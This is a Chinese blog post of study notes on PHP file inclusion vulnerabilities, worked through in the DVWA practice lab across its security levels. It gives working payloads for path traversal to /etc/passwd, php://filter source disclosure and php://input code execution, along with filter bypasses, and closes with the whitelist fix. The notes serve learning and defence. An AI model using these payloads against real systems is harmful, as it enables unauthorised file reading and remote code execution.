DVWA-File Inclusion学习笔记

一、文件包含与漏洞

文件包含:

开发人员将相同的函数写入单独的文件中,需要使用某个函数时直接调用此文件,无需再次编写,这种文件调用的过程称文件包含。

文件包含漏洞:

开发人员为了使代码更灵活,会将被包含的文件设置为变量,用来进行动态调用,从而导致客户端可以恶意调用一个恶意文件,造成文件包含漏洞。

二、文件包含漏洞用到的函数

require:找不到被包含的文件,报错,并且停止运行脚本。

include:找不到被包含的文件,只会报错,但会继续运行脚本。

require_once:与require类似,区别在于当重复调用同一文件时,程序只调用一次。

include_once:与include类似,区别在于当重复调用同一文件时,程序只调用一次。

三、目录遍历与文件包含的区别

目录遍历是可以读取web目录以外的其他目录,根源在于对路径访问权限设置不严格,针对本系统。

文件包含是利用函数来包含web目录以外的文件,分为本地包含和远程包含。

四、文件包含特征

?page=a.php
?home=b.html
?file=content

检测方法

?file=…/…/…/…/etc/passwd
?page=file:///etc/passwd
?home=main.cgi
?page=http://www.a.com/1.php
http://1.1.1.1/…/…/…/…/dir/file.txt

五、DVWA练习

修改php.ini配置文件开启文件包含功能

allow_url_include = on

low


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

?>

分析源码,可以看到没有对page参数做任何过滤。

文件包含时,不管包含的文件是什么类型,都会优先尝试当作 php 文件执行。
如果文件内容有 php 代码,则会执行 php 代码并返回代码执行的结果。
如果文件内容没有 php 代码,则把文件内容打印出来。

尝试利用文件包含漏洞

# 原 URL
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=file1.php

# 本地文件包含,读文件(绝对路径 或 相对路径)
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=../1.txt
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\1.txt

# 远程文件包含
http://127.0.0.1:81/vulnerabilities/fi/?page=http://www.baidu.com

使用php封装协议读取和写入php文件

因为所有的 php 文件都会当成代码来执行,所以无法读取源码。
如果 flag 在 php 文件中,那么我们就需要想办法来读取 flag。

# 直接读取,PHP 代码直接执行
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=file1.php

# 利用伪协议读取源码
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=php://filter/read=convert.base64-encode/resource=file1.php

读取回显base64源码,解密即可。
利用的是 php://input 伪协议

URL: http://192.168.1.100/dvwa/vulnerabilities/fi/?page=php://input
POST:<?php phpinfo(); ?>

medium


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );

?>

分析源码,可以看到使用str_replace函数对http://、https://、…/ 、…\进行了过滤,但可以通过双写来绕过,或者使用绝对路径来绕过

high


<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?>

分析源码可发现,满足以下两个条件,则报错:

  1. 传过来的 page 里面没有 file* $file
  2. 不等于 include.php

使用file协议绕过,浏览器打开本地文件使用的就是file协议。

http://192.168.1.100/dvwa/vulnerabilities/fi/?page=file://file://C:\phpStudy\PHPTutorial\WWW\dvwa\vulnerabilities\fi\1.txt

以下方式无法读取文件???
http://192.168.1.100/dvwa/vulnerabilities/fi/?page=file://1.txt

impossible

<?php

// The page we wish to display
$file = $_GET[ 'page' ];

// Only allow include.php or file{1..3}.php
if( $file != "include.php" && $file != "file1.php" && $file != "file2.php" && $file != "file3.php" ) {
    // This isn't the page we want!
    echo "ERROR: File not found!";
    exit;
}

?> 

分析源码可以看到,使用白名单
page只能为include.php”、“file1.php”、“file2.php”、“file3.php”之一,只允许包含include.php、file1.php、file2.php、file3.php,不能包含别的文件,彻底杜绝文件包含漏洞。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值